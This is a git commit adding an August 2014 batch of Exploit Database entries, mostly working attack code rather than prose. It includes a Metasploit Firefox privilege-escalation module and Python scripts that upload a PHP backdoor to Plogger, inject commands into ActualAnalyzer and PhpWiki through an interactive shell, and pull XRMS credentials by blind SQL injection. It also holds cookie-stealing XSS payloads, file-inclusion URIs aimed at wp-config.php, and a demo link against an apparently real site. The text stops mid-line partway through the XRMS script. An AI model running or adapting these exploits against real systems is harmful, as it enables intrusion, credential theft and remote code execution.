From c93cd0e1b80a655ff324f8df8e1884b6ac8f3a2e Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 30 Aug 2014 04:42:49 +0000 Subject: [PATCH] Updated 08_30_2014 --- files.csv | 28 ++++ platforms/jsp/webapps/34440.txt | 9 ++ platforms/linux/dos/34427.txt | 9 ++ platforms/multiple/dos/34457.txt | 9 ++ platforms/multiple/remote/34439.txt | 17 ++ platforms/multiple/remote/34448.rb | 150 +++++++++++++++++ platforms/multiple/webapps/34449.txt | 19 +++ platforms/php/webapps/34436.txt | 40 +++++ platforms/php/webapps/34438.txt | 11 ++ platforms/php/webapps/34441.txt | 28 ++++ platforms/php/webapps/34443.txt | 10 ++ platforms/php/webapps/34444.txt | 7 + platforms/php/webapps/34445.txt | 9 ++ platforms/php/webapps/34446.txt | 11 ++ platforms/php/webapps/34447.py | 82 ++++++++++ platforms/php/webapps/34450.py | 47 ++++++ platforms/php/webapps/34451.py | 53 ++++++ platforms/php/webapps/34452.py | 233 +++++++++++++++++++++++++++ platforms/php/webapps/34453.txt | 9 ++ platforms/php/webapps/34454.txt | 9 ++ platforms/php/webapps/34455.txt | 8 + platforms/php/webapps/34456.txt | 132 +++++++++++++++ platforms/php/webapps/34459.txt | 9 ++ platforms/php/webapps/34464.txt | 9 ++ platforms/windows/dos/34442.html | 21 +++ platforms/windows/dos/34458.html | 82 ++++++++++ platforms/windows/dos/34460.py | 30 ++++ platforms/windows/local/34463.py | 46 ++++++ platforms/windows/remote/34437.txt | 9 ++ 29 files changed, 1136 insertions(+) create mode 100755 platforms/jsp/webapps/34440.txt create mode 100755 platforms/linux/dos/34427.txt create mode 100755 platforms/multiple/dos/34457.txt create mode 100755 platforms/multiple/remote/34439.txt create mode 100755 platforms/multiple/remote/34448.rb create mode 100755 platforms/multiple/webapps/34449.txt create mode 100755 platforms/php/webapps/34436.txt create mode 100755 platforms/php/webapps/34438.txt create mode 100755 platforms/php/webapps/34441.txt create mode 100755 platforms/php/webapps/34443.txt create mode 100755 platforms/php/webapps/34444.txt create mode 100755 platforms/php/webapps/34445.txt create mode 100755 platforms/php/webapps/34446.txt create mode 100755 platforms/php/webapps/34447.py create mode 100755 platforms/php/webapps/34450.py create mode 100755 platforms/php/webapps/34451.py create mode 100755 platforms/php/webapps/34452.py create mode 100755 platforms/php/webapps/34453.txt create mode 100755 platforms/php/webapps/34454.txt create mode 100755 platforms/php/webapps/34455.txt create mode 100755 platforms/php/webapps/34456.txt create mode 100755 platforms/php/webapps/34459.txt create mode 100755 platforms/php/webapps/34464.txt create mode 100755 platforms/windows/dos/34442.html create mode 100755 platforms/windows/dos/34458.html create mode 100755 platforms/windows/dos/34460.py create mode 100755 platforms/windows/local/34463.py create mode 100755 platforms/windows/remote/34437.txt diff --git a/files.csv b/files.csv index fc6f81d60..46401420c 100755 --- a/files.csv +++ b/files.csv @@ -31006,9 +31006,37 @@ id,file,description,date,author,platform,type,port 34421,platforms/linux/local/34421.c,"glibc Off-by-One NUL Byte gconv_translit_find Exploit",2014-08-27,"taviso and scarybeasts",linux,local,0 34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - Multiple XSS Vulnerabilities",2014-08-27,"Mike Manzotti",php,webapps,0 34426,platforms/linux/remote/34426.txt,"uzbl \'uzbl-core\' \'@SELECTED_URI\' Mouse Button Bindings Command Injection Vulnerability",2010-08-05,Chuzz,linux,remote,0 +34427,platforms/linux/dos/34427.txt,"OpenSSL - 'ssl3_get_key_exchange()' Use-After-Free Memory Corruption Vulnerability",2010-08-07,"Georgi Guninski",linux,dos,0 34428,platforms/windows/dos/34428.py,"Quintessential Media Player 5.0.121 '.m3u' File Buffer Overflow Vulnerability",2010-08-09,"Abhishek Lyall",windows,dos,0 34429,platforms/asp/webapps/34429.txt,"Allinta CMS 22.07.2010 Multiple SQL Injection and Cross Site Scripting Vulnerabilities",2010-08-09,"High-Tech Bridge SA",asp,webapps,0 34430,platforms/php/webapps/34430.txt,"Preation Eden Platform 27.7.2010 Multiple HTML Injection Vulnerabilities",2010-08-09,"High-Tech Bridge SA",php,webapps,0 34431,platforms/linux/remote/34431.html,"Nagios XI Multiple Cross Site Request Forgery Vulnerabilities",2010-08-07,"Adam Baldwin",linux,remote,0 34432,platforms/php/webapps/34432.txt,"Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities",2009-10-29,Lostmon,php,webapps,0 34433,platforms/php/webapps/34433.txt,"Simple Directory Listing 2.1 'SDL2.php' Cross Site Scripting Vulnerability",2010-10-22,"Amol Naik",php,webapps,0 +34436,platforms/php/webapps/34436.txt,"WordPress ShortCode Plugin 1.1 - Local File Inclusion Vulnerability",2014-08-28,"Mehdi Karout and Christian Galeone",php,webapps,0 +34437,platforms/windows/remote/34437.txt,"Portable Document Format - Specification Signature Collision Vulnerability",2010-08-11,"Florian Zumbiehl",windows,remote,0 +34438,platforms/php/webapps/34438.txt,"MybbCentral TagCloud 2.0 'Topic' Field HTML Injection Vulnerability",2010-08-11,3ethicalhackers.com,php,webapps,0 +34439,platforms/multiple/remote/34439.txt,"ServletExec Directory Traversal Vulnerability and Multiple Authentication-Bypass Vulnerabilities",2010-08-12,"Stefano Di Paola",multiple,remote,0 +34440,platforms/jsp/webapps/34440.txt,"Computer Associates Oneview Monitor 6.0 'doSave.jsp' Remote Code Execution Vulnerability",2010-08-12,"Giorgio Fedon",jsp,webapps,0 +34441,platforms/php/webapps/34441.txt,"JForum 2.08 BBCode Color Tag HTML Injection Vulnerability",2010-05-13,"Giorgio Fedon",php,webapps,0 +34442,platforms/windows/dos/34442.html,"Kylinsoft InstantGet 2.08 ActiveX Control 'ShowBar' Method Buffer Overflow Vulnerability",2009-09-19,the_Edit0r,windows,dos,0 +34443,platforms/php/webapps/34443.txt,"PaoLink 1.0 'scrivi.php' Cross Site Scripting Vulnerability",2009-09-16,Moudi,php,webapps,0 +34444,platforms/php/webapps/34444.txt,"RSSMediaScript 'index.php' Cross Site Scripting Vulnerability",2009-09-16,Moudi,php,webapps,0 +34445,platforms/php/webapps/34445.txt,"LiveStreet 0.2 Comment Topic Header XSS",2009-08-31,Inj3ct0r,php,webapps,0 +34446,platforms/php/webapps/34446.txt,"LiveStreet 0.2 include/ajax/blogInfo.php asd Parameter XSS",2009-08-31,Inj3ct0r,php,webapps,0 +34447,platforms/php/webapps/34447.py,"Plogger 1.0-RC1 - Authenticated Arbitrary File Upload",2014-08-28,b0z,php,webapps,80 +34448,platforms/multiple/remote/34448.rb,"Firefox WebIDL Privileged Javascript Injection",2014-08-28,metasploit,multiple,remote,0 +34449,platforms/multiple/webapps/34449.txt,"ManageEngine DeviceExpert 5.9 - User Credential Disclosure",2014-08-28,"Pedro Ribeiro",multiple,webapps,0 +34450,platforms/php/webapps/34450.py,"ActualAnalyzer Lite 2.81 - Unauthenticated Command Execution",2014-08-28,"Benjamin Harris",php,webapps,80 +34451,platforms/php/webapps/34451.py,"PhpWiki - Remote Command Execution",2014-08-28,"Benjamin Harris",php,webapps,80 +34452,platforms/php/webapps/34452.py,"XRMS - Blind SQL Injection and Command Execution",2014-08-28,"Benjamin Harris",php,webapps,80 +34453,platforms/php/webapps/34453.txt,"PaoBacheca 2.1 index.php URI XSS",2009-09-16,Moudi,php,webapps,0 +34454,platforms/php/webapps/34454.txt,"PaoBacheca 2.1 scrivi.php URI XSS",2009-09-16,Moudi,php,webapps,0 +34455,platforms/php/webapps/34455.txt,"Rock Band CMS 0.10 'news.php' Multiple SQL Injection Vulnerabilities",2010-08-12,Affix,php,webapps,0 +34456,platforms/php/webapps/34456.txt,"JBoard Multiple Cross Site Scripting and SQL Injection Vulnerabilities",2009-08-31,Inj3ct0r,php,webapps,0 +34457,platforms/multiple/dos/34457.txt,"Sniper Elite 1.0 - NULL Pointer Dereference Denial Of Service Vulnerability",2009-08-14,"Luigi Auriemma",multiple,dos,0 +34458,platforms/windows/dos/34458.html,"Internet Explorer MS14-029 Memory Corruption PoC",2014-08-28,PhysicalDrive0,windows,dos,0 +34459,platforms/php/webapps/34459.txt,"Amiro.CMS 5.4 Multiple Input Validation Vulnerabilities",2009-10-19,"Vladimir Vorontsov",php,webapps,0 +34460,platforms/windows/dos/34460.py,"Sonique 2.0 '.xpl' File Remote Stack-Based Buffer Overflow Vulnerability",2010-08-12,"Hamza_hack_dz & Black-liondz1",windows,dos,0 +34463,platforms/windows/local/34463.py,"HTML Help Workshop 1.4 - (SEH) Buffer Overflow",2014-08-29,"Moroccan Kingdom (MKD)",windows,local,0 +34464,platforms/php/webapps/34464.txt,"SyntaxCMS 'rows_per_page' Parameter SQL Injection Vulnerability",2010-08-10,"High-Tech Bridge SA",php,webapps,0 diff --git a/platforms/jsp/webapps/34440.txt b/platforms/jsp/webapps/34440.txt new file mode 100755 index 000000000..f835210a6 --- /dev/null +++ b/platforms/jsp/webapps/34440.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42413/info + +Computer Associates Oneview Monitor is prone to a remote code-execution vulnerability because the application fails to sufficiently sanitize user-supplied input. + +Exploiting this issue will allow an attacker to inject and execute arbitrary JSP code in the context of the affected webserver. + +The following example URI is available: + +ttp://www.example.com/sitemindermonitor/doSave.jsp?file=../attacksample.jsp \ No newline at end of file diff --git a/platforms/linux/dos/34427.txt b/platforms/linux/dos/34427.txt new file mode 100755 index 000000000..ef9a31494 --- /dev/null +++ b/platforms/linux/dos/34427.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42306/info + +OpenSSL is prone to a remote memory-corruption vulnerability. + +Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the application using the vulnerable library. Failed exploit attempts will result in a denial-of-service condition. + +The issue affects OpenSSL 1.0.0a; other versions may also be affected. + +http://www.exploit-db.com/sploits/34427.zip \ No newline at end of file diff --git a/platforms/multiple/dos/34457.txt b/platforms/multiple/dos/34457.txt new file mode 100755 index 000000000..2cbcdcd02 --- /dev/null +++ b/platforms/multiple/dos/34457.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42428/info + +Sniper Elite is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error. + +Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed. + +Versions prior to Sniper Elite 1.0 are vulnerable. + +http://www.exploit-db.com/sploits/34457.zip \ No newline at end of file diff --git a/platforms/multiple/remote/34439.txt b/platforms/multiple/remote/34439.txt new file mode 100755 index 000000000..fbdd4845f --- /dev/null +++ b/platforms/multiple/remote/34439.txt @@ -0,0 +1,17 @@ +source: http://www.securityfocus.com/bid/42411/info + +ServletExec is prone to a directory-traversal vulnerability and multiple authentication-bypass vulnerabilities because the application fails to sufficiently sanitize user-supplied input. + +Exploiting these issues may allow an attacker to gain administrative access to the affected application and to obtain sensitive information that could aid in further attacks. + +Versions prior to ServletExec 6.0.0.2_39 are vulnerable. + +http://www.example.com/servlet/pagecompile._admin._help._helpContent_xjsp?page=../../WEB-INF/web.xml +http://www.example.com/servlet/pagecompile._admin._login_xjsp +http://www.example.com/servlet/pagecompile._admin._vmSystemProperties_xjsp +http://www.example.com/servlet/pagecompile._admin._SELogging_xjsp +http://www.example.com/servlet/pagecompile._admin._userMgt_xjsp +http://www.example.com/servlet/pagecompile._admin._virtualServers_xjsp +http://www.example.com/servlet/pagecompile._admin._optionalPackages_xjsp +http://www.example.com/servlet/pagecompile._admin._dataSources_xjsp +http://www.example.com/servlet/pagecompile._admin._debug_xjsp \ No newline at end of file diff --git a/platforms/multiple/remote/34448.rb b/platforms/multiple/remote/34448.rb new file mode 100755 index 000000000..2f1939d79 --- /dev/null +++ b/platforms/multiple/remote/34448.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_maxver => "22.0", + :ua_maxver => "27.0", + :javascript => true, + :rank => ExcellentRanking + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox WebIDL Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 22-27 by abusing two + separate privilege escalation vulnerabilities in Firefox's Javascript + APIs. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # metasploit module + ], + 'DisclosureDate' => "Mar 17 2014", + 'References' => [ + ['CVE', '2014-1510'], # open chrome:// url in iframe + ['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(22, 27) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML .", "" ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + data_uri = "data:text/html, + #{datastore['CONTENT']} + + + | + end +end diff --git a/platforms/multiple/webapps/34449.txt b/platforms/multiple/webapps/34449.txt new file mode 100755 index 000000000..0418b94de --- /dev/null +++ b/platforms/multiple/webapps/34449.txt @@ -0,0 +1,19 @@ +>> User credential disclosure in ManageEngine DeviceExpert 5.9 +>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security +========================================================================== + +>> Background on the affected product: +"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management." + + +>> Technical details: +Vulnerability: User credential disclosure / CVE-2014-5377 +Constraints: no authentication or any other information needed. +Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable + +GET /ReadUsersFromMasterServlet + +Example response: +adminAdministratorOk6/FqR5WtJY5UCLrnvjQQ==noreply@zohocorp.com12345678 + +The passwords are a salted MD5 hash. diff --git a/platforms/php/webapps/34436.txt b/platforms/php/webapps/34436.txt new file mode 100755 index 000000000..4d2b005a7 --- /dev/null +++ b/platforms/php/webapps/34436.txt @@ -0,0 +1,40 @@ +################################################################################################# +# +# Title : WordPress ShortCode Plugin - Local File Inclusion Vulnerability +# Severity : High+/Critical +# Reporter(s) : Mehdi Karout & Christian Galeone +# Google Dork : inurl:wp/wp-content/force-download.php +# Plugin Version : 1.1 +# Plugin Name : Download ShortCode +# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip +# Vendor Home : http://werdswords.com/ +# Date : 25/08/2014 +# Tested in : Win7 - Kali Linux +# CVE : CVE-2014-5465 +# +################################################################################################## +# +# PoC : +# +# +# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File] +# +# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php +# +# Exploit Code : +# +# $file = $_GET['file']; +# if(isset($file)) +# { +# include("pages/$file"); +# } +# else +# { +# include("index.php"); +# } +# +# Demo : +# +# http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php +# +################################################################################################## \ No newline at end of file diff --git a/platforms/php/webapps/34438.txt b/platforms/php/webapps/34438.txt new file mode 100755 index 000000000..106c3dbd1 --- /dev/null +++ b/platforms/php/webapps/34438.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/42406/info + +TagCloud is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. + +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +TagCloud version 2.0 is vulnerable; other versions may also be affected. + +The following example input is available: + +'Topic' Field: \ No newline at end of file diff --git a/platforms/php/webapps/34441.txt b/platforms/php/webapps/34441.txt new file mode 100755 index 000000000..071fa422a --- /dev/null +++ b/platforms/php/webapps/34441.txt @@ -0,0 +1,28 @@ +source: http://www.securityfocus.com/bid/42414/info + +JForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. + +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +JForum 2.08 is vulnerable; other versions may also be affected. + +Stored XSS - proof of concept for Firefox ("onMouseOver" is blacklisted): + + [color=red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)']XSS4FF[/color] + + +Renders into the following HTML code: + + XSS4FF + + + +Stored XSS - proof of concept for Internet Explorer ("style" cannot contain parenthesis "(" ): + + [color=red' /style='color:expression(alert(document.cookie))']XSS4IE[/color] + + + +Renders into the following HTML code: + + XSS4IE diff --git a/platforms/php/webapps/34443.txt b/platforms/php/webapps/34443.txt new file mode 100755 index 000000000..f6130b99e --- /dev/null +++ b/platforms/php/webapps/34443.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/42420/info + +PaoLink is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +PaoLink 1.0 is vulnerable; other versions may also be affected. + + http://www.example.com/paolink/demo/scrivi.php/"> + diff --git a/platforms/php/webapps/34444.txt b/platforms/php/webapps/34444.txt new file mode 100755 index 000000000..0c51cd993 --- /dev/null +++ b/platforms/php/webapps/34444.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/42421/info + +RSSMediaScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/demo/index.php?cat=5&page=1"> \ No newline at end of file diff --git a/platforms/php/webapps/34445.txt b/platforms/php/webapps/34445.txt new file mode 100755 index 000000000..adb59cd52 --- /dev/null +++ b/platforms/php/webapps/34445.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42422/info + +LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks. + +LiveStreet 0.2 is vulnerable; other versions may also be affected. + + \ No newline at end of file diff --git a/platforms/php/webapps/34446.txt b/platforms/php/webapps/34446.txt new file mode 100755 index 000000000..b9afa99ba --- /dev/null +++ b/platforms/php/webapps/34446.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/42422/info + +LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks. + +LiveStreet 0.2 is vulnerable; other versions may also be affected. + +Cross Site Scripting: + +/include/ajax/blogInfo.php?asd= \ No newline at end of file diff --git a/platforms/php/webapps/34447.py b/platforms/php/webapps/34447.py new file mode 100755 index 000000000..93fcc6f53 --- /dev/null +++ b/platforms/php/webapps/34447.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python + + +# Exploit Title: Plogger Authenticated Arbitrary File Upload +# Date: Feb 2014 +# Exploit Author: b0z +# Vendor Homepage: www.plogger.org +# Software Link: www.plogger.org/download +# Version: Plogger prior to 1.0-RC1 +# CVE : 2014-2223 + +import hashlib +import os +import zipfile + +import requests +import time +import argparse + + + +def login(session,host,username,password): + print "[+] Log in" + + session.post('http://%s/plog-admin/plog-upload.php' % host, data={ + "plog_username": username, + "plog_password": password, + "action": "log_in" + }) + +def upload(session): + print "[+] Creating poisoned gift" + ## Write the backdoor + backdoor = open(magic + '.php', 'w+', buffering = 0) + backdoor.write("") + backdoor.close + + # Add true image file to block the race condition (mandatory not null) + image = open(magic + '.png', 'w+', buffering = 0) + image.write('A') + image.close + + gift = zipfile.ZipFile(magic + '.zip', mode = 'w') + gift.write(magic + '.php') + gift.write(magic + '.png') + gift.close + + os.remove(magic + '.php') + os.remove(magic + '.png') + + gift = open(magic + '.zip', 'rb') + files= { "userfile": ("archive.zip", gift)} + session.post('http://%s/plog-admin/plog-upload.php' % host, files=files, + data = { + "destination_radio":"existing", + "albums_menu" : "1", + "new_album_name":"", + "collections_menu":"1", + "upload":"Upload" + }) + + os.remove(magic + '.zip') + print '[+] Here we go ==> http://%s/plog-content/uploads/archive/%s.php' % (host,magic) + +if __name__== "__main__": + + parser = argparse.ArgumentParser() + parser.add_argument("--host" , help="Remote host",required=True) + parser.add_argument("--user" , help="Username",required=True) + parser.add_argument("--password" , help="Password",required=True) + args = parser.parse_args() + + host = args.host + username = args.user + password = args.user + + magic = hashlib.sha1(time.asctime()).hexdigest() + + session = requests.session() + login(session,host,username,password) + upload(session) + diff --git a/platforms/php/webapps/34450.py b/platforms/php/webapps/34450.py new file mode 100755 index 000000000..d25944f4f --- /dev/null +++ b/platforms/php/webapps/34450.py @@ -0,0 +1,47 @@ +############################### +# ActualAnalyzer exploit. +# Tested on Lite version +# We load command into a dummy variable as we only have 6 characters to own the eval +# but load more as first 2 characters get rm'd. +# We then execute the eval with backticks. +# 11/05/2011 +############################## + +import urllib +import urllib2 +import sys +import time + + + +def banner(): + print " ____ __ __ __ " + print " / __/_ ______ _ ____ ______/ /___ ______ _/ /___ _____ ____ _/ /_ ______ ___ _____" + print " / /_/ / / / __ `// __ `/ ___/ __/ / / / __ `/ / __ `/ __ \/ __ `/ / / / /_ / / _ \/ ___/" + print " / __/ /_/ / /_/ // /_/ / /__/ /_/ /_/ / /_/ / / /_/ / / / / /_/ / / /_/ / / /_/ __/ / " + print " /_/ \__,_/\__, (_)__,_/\___/\__/\__,_/\__,_/_/\__,_/_/ /_/\__,_/_/\__, / /___/\___/_/ " + print " /_/ /____/ " + + +def usage(): + print " [+] Usage:" + print " [-] python " + sys.argv[0] + " -h vulnHOST -d analyticdomain -c \"command\"" + print " [-] python fuq.actualanalyzer.py -h test.com/lite -d analyticdomain -c \"touch /tmp/123\"" + +banner() +if len(sys.argv) < 6: + usage() + quit() +domain = sys.argv[2] +command = sys.argv[6] +host = syst.argv[4] + +def commandexploit(domain,host,command): + url = 'http://' + domain + '/aa.php?anp=' + host + data = None + headers = {'Cookie': "ant=" + command + "; anm=414.`$cot`"} + exploit1 = urllib2.Request(url,data,headers) + exploit2 = urllib2.urlopen(exploit1) + +commandexploit(domain,host,command) + diff --git a/platforms/php/webapps/34451.py b/platforms/php/webapps/34451.py new file mode 100755 index 000000000..f921167aa --- /dev/null +++ b/platforms/php/webapps/34451.py @@ -0,0 +1,53 @@ +############################################################### +# ____ __ _ __ _ +# / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_) +# / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / +# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / +#/_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ +# /_/ /_/ /_/ +# Diskovered in Nov/Dec 2011 +############################################################### + +import urllib +import urllib2 +import sys +def banner(): + print " ____ __ _ __ _ " + print " / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)" + print " / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / " + print " / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / " + print " /_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ " + print " /_/ /_/ /_/ \n" + + +def usage(): + banner() + print " [+] Usage example" + print " [-] python " + sys.argv[0] + " http://path.to/wiki" + +if len(sys.argv)< 2: + usage() + quit() + +domain = sys.argv[1] +def commandexec(cmd): + data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<>'),('edit[preview]','Preview'),('action','edit')]) + cmd1 = urllib2.Request(domain +'/index.php/HeIp',data) + cmd2 = urllib2.urlopen(cmd1) + output = cmd2.read() + firstloc = output.find("123:::\n") + len("123:::\n") + secondloc = output.find("\n:::123") + return output[firstloc:secondloc] + + +banner() +print commandexec('uname -a') +print commandexec('id') +while(quit != 1): + cmd = raw_input('Run a command: ') + if cmd == 'quit': + print "[-] Hope you had fun :)" + quit = 1 + if cmd != 'quit': + print commandexec(cmd) + diff --git a/platforms/php/webapps/34452.py b/platforms/php/webapps/34452.py new file mode 100755 index 000000000..dc24231d8 --- /dev/null +++ b/platforms/php/webapps/34452.py @@ -0,0 +1,233 @@ +####################### +# XRMS Blind SQLi via $_SESSION poisoning, then command exec +######################### + +import urllib +import urllib2 +import time +import sys + +usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0'] +userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48] +def banner(): + print """ ____ + / __/_ ______ _ _ ___________ ___ _____ + / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/ + / __/ /_/ / /_/ / _> ','') + print " [-] Plaintext of hash: " +plaintext + "\n" + return plaintext + +def username(length): + length = length + 1 + duser = [] + #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - + found = 0 + i = 1 + payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username," + payload2 = ",1)=CHAR(" + payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" + for i in range(1,length): + found = 0 + while(found != 1): + for f in range(0,len(userascii)): + class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): + def http_error_302(self, req, fp, code, msg, headers): + infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) + infourl.status = code + infourl.code = code + return infourl + http_error_300 = http_error_302 + class HeadRequest(urllib2.Request): + def get_method(self): + return "POST" + payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 + data = urllib.urlencode([('user_id',payload)]) + url = 'http://'+domain+'/plugins/webform/new-form.php' + opener = urllib2.build_opener(LeHTTPRedirectHandler) + req = HeadRequest(url,data) + prepare = opener.open(req) + cookie1 = prepare.info() + cookie2pos1 = str(cookie1).find('PHPSESSID') + cookie2pos2 = str(cookie1).find("\n",cookie2pos1) + line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] + line = 'XRMS' + line[9:] + url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' + headers = { 'Cookie' : line } + data = None + start = time.time() + get = urllib2.Request(url,data,headers) + get.get_method = lambda: 'HEAD' + try: + execute = urllib2.urlopen(get) + except: + pass + elapsed = (time.time() - start) + if(elapsed > 1): + print " Character found. Character is: " + usercharac[f] + duser.append(usercharac[f]) + found = 1 + return duser + +def getusernamelength(): + found = 0 + i = 1 + payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '" + payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -" + while (found != 1): + class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): + def http_error_302(self, req, fp, code, msg, headers): + infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) + infourl.status = code + infourl.code = code + return infourl + http_error_300 = http_error_302 + class HeadRequest(urllib2.Request): + def get_method(self): + return "POST" + payload = payload1 + str(i) + payload2 + data = urllib.urlencode([('user_id',payload)]) + url = 'http://'+domain+'/plugins/webform/new-form.php' + opener = urllib2.build_opener(LeHTTPRedirectHandler) + req = HeadRequest(url,data) + prepare = opener.open(req) + cookie1 = prepare.info() + cookie2pos1 = str(cookie1).find('PHPSESSID') + cookie2pos2 = str(cookie1).find("\n",cookie2pos1) + line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] + line = 'XRMS' + line[9:] + url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' + headers = { 'Cookie' : line } + data = None + start = time.time() + get = urllib2.Request(url,data,headers) + get.get_method = lambda: 'HEAD' + try: + execute = urllib2.urlopen(get) + except: + pass + elapsed = (time.time() - start) + if(elapsed > 1): + print " Length found at position: " + str(i) + found = 1 + length = i + return length + i = i + 1 + +def password(length): + length = length + 1 + dpassword = [] + #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - + found = 0 + i = 1 + payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password," + payload2 = ",1)=CHAR(" + payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" + for i in range(1,length): + found = 0 + while(found != 1): + for f in range(0,len(userascii)): + class 